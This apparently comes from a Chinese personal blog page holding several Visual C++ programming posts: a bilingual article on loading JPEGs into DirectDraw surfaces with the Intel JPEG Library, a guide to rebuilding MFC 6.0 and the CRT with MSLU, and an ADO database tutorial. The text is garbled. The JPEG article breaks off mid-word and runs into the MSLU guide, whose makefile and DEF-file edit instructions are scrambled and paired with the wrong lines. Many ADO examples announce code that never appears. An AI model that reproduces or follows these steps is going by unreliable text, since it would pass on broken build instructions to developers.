| Libin 的个人资料绿色家园照片日志列表 | 帮助 |
|
2月28日 载入JPGE图象文件到DirectDraw的表面中译者的话:这是一篇关于使用Intel JPGEs Library的文章,在翻译的同时,译者根据自己的使用经验对文章进行适当的添减章节,希望适合各位读者。 In order to keep the size of this article down, I've decided to make a few assumptions. First of all, I assume that you already know C/C++ and how to troubleshoot and debug code. I also assume that you are somewhat familiar with DirectDraw and that you have as a minimum the DirectX 7.0 libraries and the ability to work in 24 bit. Note: the source code in EXAMPLE.ZIP available at the end of this article provides conversions to 16bit and 32bit surfaces. 为了保持这篇文章内的排列顺序,我先决定安排一些假设。首先,我假设你已经了解C/C++与如何对代码进行调试。我还假设你对DirectDraw有些了解与你拿到了DirectX 7.0的库文件,并且能够在24bit的情况下工作。注意:本文章附带的原代码EXAMPLE.ZIP中提供转换到16bit和32bit表面的操作。 The first step to loading JPEGs is to download the Intel JPEG Library from Intel's website. The Library is loaded with documentation and examples, all of which we're really not interested in. What we really want are the IJL.H, IJL15.LIB, and IJL15.DLL files that come with the package. Once you have those files, include the IJL.H header to your source file, add the IJL15.LIB file to your project, and make sure the IJL15.DLL is in a valid location such as the C:\WINDOWS\SYSTEM folder. 要载入JPGE图象文件首先要Intel的网站上去下载Intel JPEG Library,这个库包含了开发文档和例程,以及你不感兴趣的东西。我们真正要的是IJL.H,IJL15.LIB,和IJL15.DLL文件。一旦你拥有了这些文件,包含IJL.H头文件到你的代码文件中,添加IJL15.LIB文件到你的工程,并且确定IJL15.DLL文件是在有效的位置,如C:\Windows\Sysstem文件夹,当然,也可以跟我们编译出来的程式执行档放置于同一文件夹。 There are a few more things we need to do before beginning. We need to make sure that we have a Direct Draw Surface to work with: 有些东西需要我们在开始之前先准备好,我们需要确定我们拥有可工作的DirectDraw表面: LPDIRECTDRAWSURFACE7 Surface = NULL; We need to also be sure to set our display bit depth to 24 bit: 我们还需要设置我们的视频模式,深度为24bit: DDObject->SetDisplayMode(640, 480, 24, 0, 0); We're now ready to load a JPEG to our surface. Since we're using the Intel JPEG Library, we need to create a couple of objects: 我们现在准备载入JPEG图象到我们的表面,既然我们要使用Intel JPEG Library,我们需要建立一个连接对象: IJLERR jerr; JPEG_CORE_PROPERTIES jcprops; IJLERR holds return information for determining a pass or fail status. JPEG_CORE_PROPERTIES is our JPEG object. Once we have these two objects, we are ready to initialize them: IJLERR保存返回的终止或错误属性信息。 JPEG_CORE_PROPERTIES是我们的JPEG对象,一旦我们有这两个对象,我们准备对其进行初始化: jerr = ijlInit(&jcprops); if (jerr != IJL_OK) //report initialization error The ijlInit function call initializes the JPEG_CORE_PROPERTIES object. We can check the status of this function call by testing whether or not our IJLERR object was initialized with the value IJL_OK. ijlInit函数调用初始化JPEG_CORE_PROPERTIES对象,我们能检测这个函数调用测试我们的IJLERR对象是否初始化属性是否为IJL_OK。 At this point, we must decide if we are going to load our JPEG image from a file or from a buffer. Because loading from a file takes fewer steps, we will do that here. However, I give an example of loading from both in the EXAMPLE.ZIP file available at the end of this article. We load from a file by changing our JPEG object's JPGFile member to a file name. We then call ijlRead to retrieve the file parameters. 在这点,我们必须决定我们是从文件载入我们的JPEG图象,还是从数据缓冲。因为从文件载入所需的步骤较少,我们将用这方法。无论如何, 在文章的例子EXAMPLE.ZIP中,我会给出两种可用的的方法。我们从文件中载入并转换我们的JPEG对象的JPG文件成员到一个文件名,我们当调用ijlRead函数可以重新获得文件参数。 jcprops.JPGFile = FileName; jerr = ijlRead(&jcprops, IJL_JFILE_READPARAMS); if (jerr != IJL_OK) //report read error This initial read fills our JPEG object with information about the file we are going to load. What we must now do is find a way of converting the JPEG to a device independent bitmap (DIB) so that we can attach it to our Direct Draw surface. 这初始指定我们的JPGE对象的文件名,我们将根据这个进行载入。我们现在必须寻找一个转换的方式用于JPGE设备与bitmap(BID),因此我们能绑定它到我们的DirectDraw表面。 We start by creating a buffer to hold our image data. After the buffer is created, we must resize it to fit a 24Bit image: 我们开始建立一个缓冲为保存我们的位图数据,在这个缓冲建立之后,我们必须调整大小以适合一个24bit的位图: //Prepare a 24Bit buffer to receive image data BYTE *buffer24; //Determine the required size long szbuff24 = (jcprops.JPGWidth * 24 + 7) / 8 * jcprops.JPGHeight; //Resize the buffer and check for null buffer24 = new BYTE [szbuff24]; if (buffer24 == NULL) //Report memory allocation error Now we need to fill in the DIB portion of the JPEG object to get ready for the conversion from JPEG to DIB. 现在我们需要为JPEG对象准备好转换到BID的部分进行填充。 jcprops.DIBWidth = jcprops.JPGWidth; jcprops.DIBHeight = jcprops.JPGHeight; //Implies a bottom-up DIB. jcprops.DIBChannels = 3; jcprops.DIBColor = IJL_BGR; jcprops.DIBPadBytes = IJL_DIB_PAD_BYTES(jcprops.JPGWidth, 3); jcprops.DIBBytes = reinterpret_cast (buffer24); Let's look at some of these a little closer. The DIBBytes member points to the buffer that we created. When we retrieve the JPEG data, the information we get will be stored in this buffer. The DIBWidth and DIBHeight members specify the size of the DIB. The DIBColor member specifies that we want our image data in reverse order Blue Green Red. That's the way that DIBs are actually stored. They are also stored upside down. You can flip the retrieved image by negating the DIBHeight member: 让我们看看这一些结构,DIBBytes成员变量指向一个我们已经建立好的数据缓冲,当我们重新获得JPEG数据,这些信息将是我们用于存储的缓冲;DIBWidth和DIBHeight成员指定DIB的大小;DIBColor成员指定我们要我们的位图数据是倒序的兰、绿、红。那是DIBs实际存储的方式,他们也是颠倒存放,你可以翻转它: //This is what you should do if you find your images are coming out upside down. jcprops.DIBHeight = - jcprops.JPGHeight; Before we read in the image, we have to check one more thing: the JPG color space: 在我们读数据之前,我们还要检测其它东西:JPG颜色空间 //Set the JPG color space ... this will always be somewhat of an //educated guess at best because JPEG is "color blind" (i.e., //nothing in the bit stream tells you what color space the data was //encoded from. switch(jcprops.JPGChannels) { case 1: jcprops.JPGColor = IJL_G; break; case 3: jcprops.JPGColor = IJL_YCBCR; break; default: //This catches everything else, but no color twist will be //performed by the IJL. jcprops.DIBColor = (IJL_COLOR)IJL_OTHER; jcprops.JPGColor = (IJL_COLOR)IJL_OTHER; break; } We are finally ready to retrieve the actual JPEG image. Thanks to Intel's JPEG Library - this is a trivial task: 我们准备最终获得JPEG图象数据,感谢Intel的JPEG库―这是一个十分简单的任务: //Read in image from file jerr = ijlRead(&jcprops, IJL_JFILE_READWHOLEIMAGE); if (jerr != IJL_OK) //Report read error This function copies the image information into our buffer. At this point, if we were to insert a BITMAPFILEHEADER and a BITMA Rebuild MFC 6.0 and CRT with MSLU一、前言1、如果想在Win95/98/ME上运行动态链接MFC库的Unicode程序,必须重新编译MFC和CRT。 二、准备1、安装Visual C++ 6.0,选中安装Unicode MFC Version和CRT Source Codes。 三、编译CRT库1、进入VC98\CRT\SRC,要编译的文件都在这里。 为避免与原来的DLLs混淆,我们将重新命名(当然也可以不改):(Debug)MSVCRTD.DLL, MSVCP60D.DLL, MSVCIRTD.DLL 3、MS提供了bldwin95.bat可以编译所有的CRT DLLs,但它隐藏了必要的makefile,把它变回来:(Debug)MSLU_MSVCRTD.DLL, MSLU_MSVCP60D.DLL, MSLU_MSVCIRTD.DLL 4、MS缺省用的名字是_SAMPLE_,SAMPLE_I和SAMPLE_P,如果重命名DLL的话,相应的文件名也要改:copy ext_mkf Makefile 然后,需要修改上述每个DEF文件中的'Library':copy _SAMPLE_.RC MSLU_MSVCRT.RC 5、打开文件makefile,做如下修改:打开MSLU_MSVCIRT.DEF,修改'LIBRARY SAMPLE_I'为'LIBRARY MSLU_MSVCIRT'; 打开MSLU_MSVCIRTD.DEF,修改'LIBRARY SAMPLD_I'为'LIBRARY MSLU_MSVCIRTD'; 打开MSLU_MSVCP60.DEF,修改'LIBRARY SAMPLE_P'为'LIBRARY MSLU_MSVCP60'; 打开MSLU_MSVCP60D.DEF,修改'LIBRARY SAMPLD_P'为'LIBRARY MSLU_MSVCP60D'; 打开Intel\MSLU_MSVCRT.DEF,修改'LIBRARY _SAMPLE_'为'LIBRARY MSLU_MSVCRT'; 打开Intel\MSLU_MSVCRTD.DEF,修改'LIBRARY _SAMPLD_'为'LIBRARY MSLU_MSVCRTD'; (1)文件顶部有如下这段文字: 将其修改为:RETAIL_DLL_NAME=_sample_ RETAIL_LIB_NAME=_sample_ RETAIL_DLLCPP_NAME=sample_p (缺省生成的是samplxx.lib和samplxx.dll,这是MS玩的小把戏吗?)RETAIL_DLL_NAME=MSLU_MSVCRT (2)第39行改为: (由实际的安装路径决定,注意看第34-36行之间的注释)V6TOOLS=C:\Program Files\Microsoft Visual Studio\VC98 (3)第331行改为: 第1728, 1770, 1810, 1853, 1898, 1941行改为:RC_INCS="-I$(V6TOOLS)\include" (4)第381-383行改为:"$(V6TOOLS)\include\winver.h" \ (以上只是加上引号,因为V6TOOLS中含有空格) 第474行改为:RELEASE_DLL_DBG_PDB = $(PDBDIR_CPU)\$(DEBUG_DLL_NAME).pdb RELEASE_DLLCPP_DBG_PDB = $(PDBDIR_CPU)\$(DEBUG_DLLCPP_NAME).pdb 第987行改为:$(CRT_RELDIR) $(RELDIR_CPU) : 在第1746行后加上:xdll : $(OBJROOT) $(OBJCPUDIR) $(OBJDIR_DLL_DBG) $(RELDIR_CPU) xothers \ 在第1789行后加上:-pdb:$(RELEASE_DLL_PDB) 在第1829行后加上:-pdb:$(RELEASE_DLLCPP_PDB) (5)第1750, 1794, 1835, 1878, 1925, 1969行-pdb:$(RELEASE_DLLIOS_PDB) 将 改为:kernel32.lib 6、现在准备工作结束,可以进行编译了。unicows.lib kernel32.lib advapi32.lib user32.lib gdi32.lib shell32.lib comdlg32.lib version.lib mpr.lib rasapi32.lib winmm.lib winspool.lib vfw32.lib oleacc.lib oledlg.lib (1)进入命令行模式, (2)运行VC98\BIN\下的VCVARS32.bat文件, (3)进入VC98\CRT\SRC下,敲命令行set V6TOOLS=C:\Program Files\Microsoft Visual Studio\VC98, (4)运行BLDWIN95.bat文件。 (5)一旦完成编译,新生成的文件都在子目录CRT\SRC\BUILD\INTEL下。 7、为了方便与已有的程序链接,把新生成的MSLU_MSVCRTxxx.LIB改回缺省的文件名MSVCRTxxx.LIB: 将这些LIB文件拷到VC98\LIB目录下。 (DLL的名字不需要改,程序会自动链接到MSLU_MSVCRTxxx.DLL)copy MSLU_MSVCRT.LIB MSVCRT.LIB 四、编译MFC动态链接库1、进入VC98\MFC\SRC,要编译的文件都在这里。 为避免与原来的DLLs混淆,我们将重新命名(当然也可以不改):MFC42U.DLL (Unicode Release,它是几个部分之和) MFC42UD.DLL (Unicode Debug) MFCN42UD.DLL (Unicode Debug - Network classes) MFCO42UD.DLL (Unicode Debug - OLE classes) MFCD42UD.DLL (Unicode Debug - Database classes) 3、有四个MAK文件是我们需要的:MSLU_MFC42U.DLL MSLU_MFC42UD.DLL MSLU_MFCN42UD.DLL MSLU_MFCO42UD.DLL MSLU_MFCD42UD.DLL 在MFCDLL.MAK的第206行,MFCDLL.MAK 负责 MFC42U.DLL和MFC42UD.DLL MFCNET.MAK 负责 MFCN42UD.DLL MFCOLE.MAK 负责 MFCO42UD.DLL MFCDB.MAK 负责 MFCD42UD.DLL MFCNET.MAK的第134行, MFCOLE.MAK的第134行, MFCDB.MAK的第140行处有如下语句: 在其后加上如下两句:link @<< /nod:kernel32.lib /nod:advapi32.lib /nod:user32.lib /nod:gdi32.lib /nod:shell32.lib /nod:comdlg32.lib /nod:version.lib /nod:mpr.lib /nod:rasapi32.lib /nod:winmm.lib /nod:winspool.lib /nod:vfw32.lib /nod:secur32.lib /nod:oleacc.lib /nod:oledlg.lib /nod:sensapi.lib unicows.lib kernel32.lib advapi32.lib user32.lib gdi32.lib shell32.lib comdlg32.lib version.lib mpr.lib rasapi32.lib winmm.lib winspool.lib vfw32.lib oleacc.lib oledlg.lib4、修改用LoadLibrary动态链接MFC库的硬编码定义: 5、修改用LoadLibrary动态链接CRT的硬编码定义:DLLDB.CPP,第38-39行改为: #define MFC42_DLL "MSLU_MFC42UD.DLL" #define MFCO42_DLL "MSLU_MFCO42UD.DLL" 6、通常,在Win95及更低版本中运行Unicode程序时会弹出消息框,说不能在该系统下运行Unicode程序,我们要删掉这段代码:DLLINIT.CPP,第371行改为: #define MSVCRT_DLL "MSLU_MSVCRTD.DLL" (该Bug在VC7中已经更正)DLLINIT.CPP,第391行改为: #if 0 // 原代码是#ifdef _UNICODE 7、修改viewedit.cpp中CEditView的实现代码: 把CEditView::ReadFromArchive、CEditView::LockBuffer和CEditView::UnlockBuffer中的 改为:#ifndef _UNICODE (该Bug在VC7中已经更正)#if 1 8、如果重命名了DLL,则需要重命名相应的DEF文件,它们在VC98\MFC\SRC\INTEL目录下: 然后,需要修改上述每个DEF文件中的'Library':copy MFC42U.DEF MSLU_MFC42U.DEF copy MFC42UD.DEF MSLU_MFC42UD.DEF copy MFCN42UD.DEF MSLU_MFCN42UD.DEF copy MFCO42UD.DEF MSLU_MFCO42UD.DEF copy MFCD42UD.DEF MSLU_MFCD42UD.DEF 9、现在准备工作结束,可以进行编译了。打开MSLU_MFC42U.DEF,修改'LIBRARY MFC42u'为'LIBRARY MSLU_MFC42u'; 打开MSLU_MFC42UD.DEF,修改'LIBRARY MFC42uD'为'LIBRARY MSLU_MFC42uD'; 打开MSLU_MFCN42UD.DEF,修改'LIBRARY MFCN42uD'为'LIBRARY MSLU_MFCN42uD'; 打开MSLU_MFCO42UD.DEF,修改'LIBRARY MFCO42uD'为'LIBRARY MSLU_MFCO42uD'; 打开MSLU_MFCD42UD.DEF,修改'LIBRARY MFCD42uD'为'LIBRARY MSLU_MFCD42uD'; 在VC98\MFC\SRC下创建一个BAT文件叫buildmfc.bat: (这里每个nmake后面都加上了copy命令,这是因为在编译后面的DLL时有可能需要链接前面的DLL, 通过用Dependency可以细细观察。所以及时的改变LIB名字可确保链接到正确的DLL,这非常重要! )nmake -f mfcdll.mak libname=MSLU_MFC42 DEBUG=0 UNICODE=1 /a copy /Y ..\lib\MSLU_MFC42U.LIB ..\lib\MFC42U.LIB 运行buildmfc.bat,OK! 新的DLL将生成在VC98\MFC\SRC下,LIB将生成在VC98\MFC\LIB下。 10、为了方便与已有的程序链接,把新生成的MSLU_MSVCRTxxx.LIB改回缺省的文件名MSVCRTxxx.LIB: (DLL的名字不需要改,程序会自动链接到MSLU_MSVCRTxxx.DLL)copy MSLU_MFC42U.LIB MFC42U.LIB copy MSLU_MFC42UD.LIB MFC42UD.LIB copy MSLU_MFCN42UD.LIB MFCN42UD.LIB copy MSLU_MFCO42UD.LIB MFCO42UD.LIB copy MSLU_MFCD42UD.LIB MFCD42UD.LIB 特别注意: 因为在编译MFC库时需要静态链接CRT,所以一定要确保在编译MFC之前,先把新的CRT的LIB拷到正确的位置!!!否则,生成的MFC DLL仍是链接旧的CRT库。 测试: 把新的LIB文件拷到相应的目录,把新的DLL拷到测试程序的目录。编译后一定要用View Dependency观察链接是否正确。(最好把所有的MSLU_XXX.DLL都拷到系统目录下) 五、编译MFC静态链接库 为使用MSLU,并不需要重编译MFC静态库,这里只是顺便提提。 六、补充 (1) 2004-02-21 参考资料1、How to build the 6.0 MFC and the CRT DLLs with MSLU,本文大部分内容来源于此。
下载
2月26日 Visual C++ ADO数据库编程入门(下)10、邦定数据 定义一个绑定类,将其成员变量绑定到一个指定的记录集,以方便于访问记录集的字段值。 (1). 从CADORecordBinding派生出一个类:
其中将要绑定的字段与变量名用BEGIN_ADO_BINDING宏关联起来。每个字段对应于两个变量,一个存放字段的值,另一个存放字段的状态。字段用从1开始的序号表示,如1,2,3等等。 特别要注意的是:如果要绑定的字段是字符串类型,则对应的字符数组的元素个数一定要比字段长度大2(比如m_szau_fname[22],其绑定的字段au_fname的长度实际是20),不这样绑定就会失败。我分析多出的2可能是为了存放字符串结尾的空字符null和BSTR字符串开头的一个字(表示BSTR的长度)。这个问题对于初学者来说可能是一个意想不到的问题。 CADORecordBinding类的定义在icrsint.h文件里, 内容是:
(2). 绑定
派生出的类必须通过IADORecordBinding接口才能绑定,调用它的BindToRecordset方法就行了。 (3). rs中的变量即是当前记录字段的值
只要字段的状态是adFldOK,就可以访问。如果修改了字段,不要忘了先调用picRs的Update(注意不是Recordset的Update),然后才关闭,也不要忘了释放picRs(即picRs->Release();)。 (4). 此时还可以用IADORecordBinding接口添加新纪录
11. 访问长数据 在Microsoft SQL中的长数据包括text、image等这样长类型的数据,作为二进制字节来对待。 可以用Field对象的GetChunk和AppendChunk方法来访问。每次可以读出或写入全部数据的一部分,它会记住上次访问的位置。但是如果中间访问了别的字段后,就又得从头来了。 请看下面的例子:
12. 使用SafeArray问题 学会使用SafeArray也是很重要的,因为在ADO编程中经常要用。它的主要目的是用于automation中的数组型参数的传递。因为在网络环境中,数组是不能直接传递的,而必须将其包装成SafeArray。实质上SafeArray就是将通常的数组增加一个描述符,说明其维数、长度、边界、元素类型等信息。SafeArray也并不单独使用,而是将其再包装到VARIANT类型的变量中,然后才作为参数传送出去。在VARIANT的vt成员的值如果包含VT_ARRAY│...,那么它所封装的就是一个SafeArray,它的parray成员即是指向SafeArray的指针。SafeArray中元素的类型可以是VARIANT能封装的任何类型,包括VARIANT类型本身。 使用SafeArray的具体步骤: 方法一: 包装一个SafeArray: (1). 定义变量,如:
(2). 创建SafeArray描述符:
(3). 放置数据元素到SafeArray:
一个一个地放,挺麻烦的。 (4). 封装到VARIANT内:
这样就可以将varChunk作为参数传送出去了。 读取SafeArray中的数据的步骤: (1). 用SafeArrayGetElement一个一个地读
就读到缓冲区buf里了。 方法二: 使用SafeArrayAccessData直接读写SafeArray的缓冲区: (1). 读缓冲区:
(2). 写缓冲区:
这种方法读写SafeArray都可以,它直接操纵SafeArray的数据缓冲区,比用SafeArrayGetElement和SafeArrayPutElement速度快。特别适合于读取数据。但用完之后不要忘了调用::SafeArrayUnaccessData(psa),否则会出错的。 13. 使用书签( bookmark ) 书签可以唯一标识记录集中的一个记录,用于快速地将当前记录移回到已访问过的记录,以及进行过滤等等。Provider会自动为记录集中的每一条记录产生一个书签,我们只需要使用它就行了。我们不能试图显示、修改或比较书签。ADO用记录集的Bookmark属性表示当前记录的书签。 用法步骤: (1). 建立一个VARIANT类型的变量 _variant_t VarBookmark; (2). 将当前记录的书签值存入该变量 也就是记录集的Bookmark属性的当前值。 VarBookmark = rst->Bookmark; (3). 返回到先前的记录 将保存的书签值设置到记录集的书签属性中:
设置完后,当前记录即会移动到该书签指向的记录。 14、设置过滤条件 Recordset对象的Filter属性表示了当前的过滤条件。它的值可以是以AND或OR连接起来的条件表达式(不含WHERE关键字)、由书签组成的数组或ADO提供的FilterGroupEnum枚举值。为Filter属性设置新值后Recordset的当前记录指针会自动移动到满足过滤条件的第一个记录。例如:
在使用条件表达式时应注意下列问题: (1)、可以用圆括号组成复杂的表达式 例如:
但是微软不允许在括号内用OR,然后在括号外用AND,例如:
必须修改为:
(2)、表达式中的比较运算符可以是LIKE LIKE后被比较的是一个含有通配符*的字符串,星号表示若干个任意的字符。 字符串的首部和尾部可以同时带星号*
也可以只是尾部带星号:
Filter属性值的类型是Variant,如果过滤条件是由书签组成的数组,则需将该数组转换为SafeArray,然后再封装到一个VARIANT或_variant_t型的变量中,再赋给Filter属性。 15、索引与排序 (1)、建立索引 当以某个字段为关键字用Find方法查找时,为了加快速度可以以该字段为关键字在记录集内部临时建立索引。只要将该字段的Optimize属性设置为true即可,例如:
说明:Optimize属性是由Provider提供的属性(在ADO中称为动态属性),ADO本身没有此属性。 (2)、排序 要排序也很简单,只要把要排序的关键字列表设置到Recordset对象的Sort属性里即可,例如:
关键字(即字段名)之间用逗号隔开,如果要以某关键字降序排序,则应在该关键字后加一空格,再加DESC(如上例)。升序时ASC加不加无所谓。本操作是利用索引进行的,并未进行物理排序,所以效率较高。 但要注意,在打开记录集之前必须将记录集的CursorLocation属性设置为adUseClient,如上例所示。Sort属性值在需要时随时可以修改。 16、事务处理 ADO中的事务处理也很简单,只需分别在适当的位置调用Connection对象的三个方法即可,这三个方法是: (1)、在事务开始时调用
(2)、在事务结束并成功时调用
(3)、在事务结束并失败时调用
在使用事务处理时,应尽量减小事务的范围,即减小从事务开始到结束(提交或回滚)之间的时间间隔,以便提高系统效率。需要时也可在调用BeginTrans()方法之前,先设置Connection对象的IsolationLevel属性值,详细内容参见MSDN中有关ADO的技术资料。 三、使用ADO编程常见问题解答 以下均是针对MS SQL 7.0编程时所遇问题进行讨论。 1、连接失败可能原因 Enterprise Managemer内,打开将服务器的属性对话框,在Security选项卡中,有一个选项Authentication。 如果该选项是Windows NT only,则你的程序所用的连接字符串就一定要包含Trusted_Connection参数,并且其值必须为yes,如:
如果不按上述操作,程序运行时连接必然失败。 如果Authentication选项是SQL Server and Windows NT,则你的程序所用的连接字符串可以不包含Trusted_Connection参数,如:
因为ADO给该参数取的默认值就是no,所以可以省略。我认为还是取默认值比较安全一些。 2、改变当前数据库的方法 使用Tansct-SQL中的USE语句即可。 3、如何判断一个数据库是否存在 (1)、可打开master数据库中一个叫做SCHEMATA的视图,其内容列出了该服务器上所有的数据库名称。 (2) 、更简便的方法是使用USE语句,成功了就存在;不成功,就不存在。例如:
4、判断一个表是否存在 (1)、同样判断一个表是否存在,也可以用是否成功地打开它来判断,十分方便,例如:
(2)、要不然可以采用麻烦一点的办法,就是在MS-SQL服务器上的每个数据库中都有一个名为sysobjects的表,查看此表的内容即知指定的表是否在该数据库中。 (3)、同样,每个数据库中都有一个名为TABLES的视图(View),查看此视图的内容即知指定的表是否在该数据库中。 5、类型转换问题 (1)、类型VARIANT_BOOL 类型VARIANT_BOOL等价于short类型。The VARIANT_BOOL is equivalent to short. see it's definition below: typdef short VARIANT_BOOL (2)、_com_ptr_t类的类型转换 _ConnectionPtr可以自动转换成IDspatch*类型,这是因为_ConnectionPtr实际上是_com_ptr_t类的一个实例,而这个类有此类型转换函数。 同理,_RecordsetPtr和_CommandPtr也都可以这样转换。 (3)、_bstr_t和_variant_t类 在ADO编程时,_bstr_t和_variant_t这两个类很有用,省去了许多BSTR和VARIANT类型转换的麻烦。 6、打开记录集时的问题 在打开记录集时,在调用Recordset的Open方法时,其最后一个参数里一定不能包含adAsyncExecute,否则将因为是异步操作,在读取数据时无法读到数据。 7、异常处理问题 对所有调用ADO的语句一定要用try和catch语句捕捉异常,否则在发生异常时,程序会异常退出。 8、使用SafeArray问题 在初学使用中,我曾遇到一个伤脑筋的问题,一定要注意: 在定义了SAFEARRAY的指针后,如果打算重复使用多次,则在中间可以调用::SafeArrayDestroyData释放数据,但决不能调用::SafeArrayDestroyDescriptor,否则必然出错,即使调用SafeArrayCreate也不行。例如:
我分析在定义psa指针时,一个SAFEARRAY的实例(也就是SAFEARRAY描述符)也同时被自动建立了。但是只要一调用::SafeArrayDestroyDescriptor,描述符就被销毁了。 所以我认为::SafeArrayDestroyDescriptor可以根本就不调用,即使调用也必须在最后调用。 9、重复使用命令对象问题 一个命令对象如果要重复使用多次(尤其是带参数的命令),则在第一次执行之前,应将它的Prepared属性设置为TRUE。这样会使第一次执行减慢,但却可以使以后的执行全部加快。 10、绑定字符串型字段问题 如果要绑定的字段是字符串类型,则对应的字符数组的元素个数一定要比字段长度大2(比如m_szau_fname[22],其绑定的字段au_fname的长度实际是20),不这样绑定就会失败。 11、使用AppendChunk的问题 当用AddNew方法刚刚向记录集内添加一个新记录之后,不能首先向一个长数据字段(image类型)写入数据,必须先向其他字段写入过数据之后,才能调用AppendChunk写该字段,否则出错。也就是说,AppendChunk不能紧接在AddNew之后。另外,写入其他字段后还必须紧接着调用AppendChunk,而不能调用记录集的Update方法后,才调用AppendChunk,否则调用AppendChunk时也会出错。换句话说,就是必须AppendChunk在前,Update在后。因而这个时候就不能使用带参数的AddNew了,因为带参数的AddNew会自动调用记录集的Update,所以AppendChunk就跑到Update的后面了,就只有出错了!因此,这时应该用不带参数的AddNew。 我推测这可能是MS SQL 7.0的问题,在MS SQL 2000中则不存在这些问题,但是AppendChunk仍然不能在Update之后。 四、小结 一般情况下,Connection和Command的Execute用于执行不产生记录集的命令,而Recordset的Open用于产生一个记录集,当然也不是绝对的。特别Command主要是用于执行参数化的命令,可以直接由Command对象执行,也可以将Command对象传递给Recordset的Open。 Visual C++ ADO数据库编程入门(上)ADO 是目前在Windows环境中比较流行的客户端数据库编程技术。ADO是建立在OLE DB底层技术之上的高级编程接口,因而它兼具有强大的数据处理功能(处理各种不同类型的数据源、分布式的数据处理等等)和极其简单、易用的编程接口,因而得到了广泛的应用。而且按微软公司的意图,OLE DB和ADO将逐步取代 ODBC和DAO。现在介绍ADO各种应用的文章和书籍有很多,本文着重站在初学者的角度,简要探讨一下在VC++中使用ADO编程时的一些问题。我们希望阅读本文之前,您对ADO技术的基本原理有一些了解。
一、在VC++中使用ADO编程 ADO实际上就是由一组Automation对象构成的组件,因此可以象使用其它任何Automation对象一样使用ADO。ADO中最重要的对象有三个:Connection、Command和Recordset,它们分别表示连接对象、命令对象和记录集对象。如果您熟悉使用MFC中的ODBC类(CDatabase、CRecordset)编程,那么学习ADO编程就十分容易了。 使用ADO编程时可以采用以下三种方法之一: 1、使用预处理指令#import
但要注意不能放在stdAfx.h文件的开头,而应该放在所有include指令的后面。否则在编译时会出错。 程序在编译过程中,VC++会读出msado15.dll中的类型库信息,自动产生两个该类型库的头文件和实现文件msado15.tlh和msado15.tli(在您的Debug或Release目录下)。在这两个文件里定义了ADO的所有对象和方法,以及一些枚举型的常量等。我们的程序只要直接调用这些方法就行了,与使用MFC中的COleDispatchDriver类调用Automation对象十分类似。 2、使用MFC中的CIDispatchDriver 就是通过读取msado15.dll中的类型库信息,建立一个COleDispatchDriver类的派生类,然后通过它调用ADO对象。 3、直接用COM提供的API 如使用如下代码:
以上三种方法,第一和第二种类似,可能第一种好用一些,第三种编程可能最麻烦。但可能第三种方法也是效率最高的,程序的尺寸也最小,并且对ADO的控制能力也最强。 据微软资料介绍,第一种方法不支持方法调用中的默认参数,当然第二种方法也是这样,但第三种就不是这样了。采用第三种方法的水平也最高。当你需要绕过ADO而直接调用OLE DB底层的方法时,就一定要使用第三种方法了。 ADO编程的关键,就是熟练地运用ADO提供的各种对象(object)、方法(method)、属性(property)和容器(collection)。另外,如果是在MS SQL或Oracle等大型数据库上编程,还要能熟练使用SQL语言。 二、使用#import方法的编程步骤 这里建议您使用#import的方法,因为它易学、易用,代码也比较简洁。 1、 添加#import指令 打开stdafx.h文件,将下列内容添加到所有的include指令之后:
其中icrsint.h文件包含了VC++扩展的一些预处理指令、宏等的定义,用于COM编程时使用。 2、定义_ConnectionPtr型变量,并建立数据库连接 建立了与数据库服务器的连接后,才能进行其他有关数据库的访问和操作。ADO使用Connection对象来建立与数据库服务器的连接,所以它相当于MFC中的CDatabase类。和CDatabase类一样,调用Connection对象的Open方法即可建立与服务器的连接。 数据类型 _ConnectionPtr实际上就是由类模板_com_ptr_t而得到的一个具体的实例类,其定义可以到msado15.tlh、comdef.h 和comip.h这三个文件中找到。在msado15.tlh中有:
经宏扩展后就得到了_ConnectionPtr类。_ConnectionPtr类封装了Connection对象的Idispatch接口指针,及一些必要的操作。我们就是通过这个指针来操纵Connection对象。类似地,后面用到的_CommandPtr和_RecordsetPtr类型也是这样得到的,它们分别表示命令对象指针和记录集对象的指针。 (1)、连接到MS SQL Server 注意连接字符串的格式,提供正确的连接字符串是成功连接到数据库服务器的第一步,有关连接字符串的详细信息参见微软MSDN Library光盘。 本例连接字符串中的server_name,database_name,user_name和password在编程时都应该替换成实际的内容。
注意Connection对象的Open方法中的连接字符串参数必须是BSTR或_bstr_t类型。另外,本例是直接通过OLE DB Provider建立连接,所以无需建立数据源。 (2)、通过ODBC Driver连接到Database Server连接字符串格式与直接用ODBC编程时的差不多:
此时与ODBC编程一样,必须先建立数据源。 3、定义_RecordsetPtr型变量,并打开数据集 定义_RecordsetPtr型变量,然后通过它调用Recordset对象的Open方法,即可打开一个数据集。所以Recordset对象与MFC中的CRecordset类类似,它也有当前记录、当前记录指针的概念。如:
Recordset对象的Open方法非常重要,它的第一个参数可以是一个SQL语句、一个表的名字或一个命令对象等等;第二个参数就是前面建立的连接对象的指针。此外,用Connection和Command对象的Execute方法也能得到记录集,但是只读的。 4、读取当前记录的数据 我认为读取数据的最方便的方法如下:
本例中的name和age都是字段名,读取的字段值分别保存在sName和cAge变量内。例中的Fields是Recordset对象的容器,GetItem方法返回的是Field对象,而Value则是Field对象的一个属性(即该字段的值)。通过此例,应掌握操纵对象属性的方法。例如,要获得Field 对象的Value属性的值可以直接用属性名Value来引用它(如上例),但也可以调用Get方法,例如:
从此例还可以看到,判断是否到达记录集的末尾,使用记录集的adoEOF属性,其值若为真即到了结尾,反之则未到。判断是否到达记录集开头,则可用BOF属性。 另外,读取数据还有一个方法,就是定义一个绑定的类,然后通过绑定的变量得到字段值(详见后面的介绍)。 5、修改数据 方法一:
改变了Value属性的值,即改变了字段的值。 方法二:
方法三:就是用定义绑定类的方法(详见后面的介绍)。 6、添加记录 新记录添加成功后,即自动成为当前记录。AddNew方法有两种形式,一个含有参数,而另一个则不带参数。 方法一(不带参数):
这种方法弄完了还要调用Update()。 方法二(带参数):
这种方法不需要调用Update,因为添加后,ADO会自动调用它。此方法主要是使用SafeArray挺麻烦。 方法三:就是用定义绑定类的方法(详见后面的介绍)。 7、删除记录 调用Recordset的Delete方法就行了,删除的是当前记录。要了解Delete的其它用法请查阅参考文献。
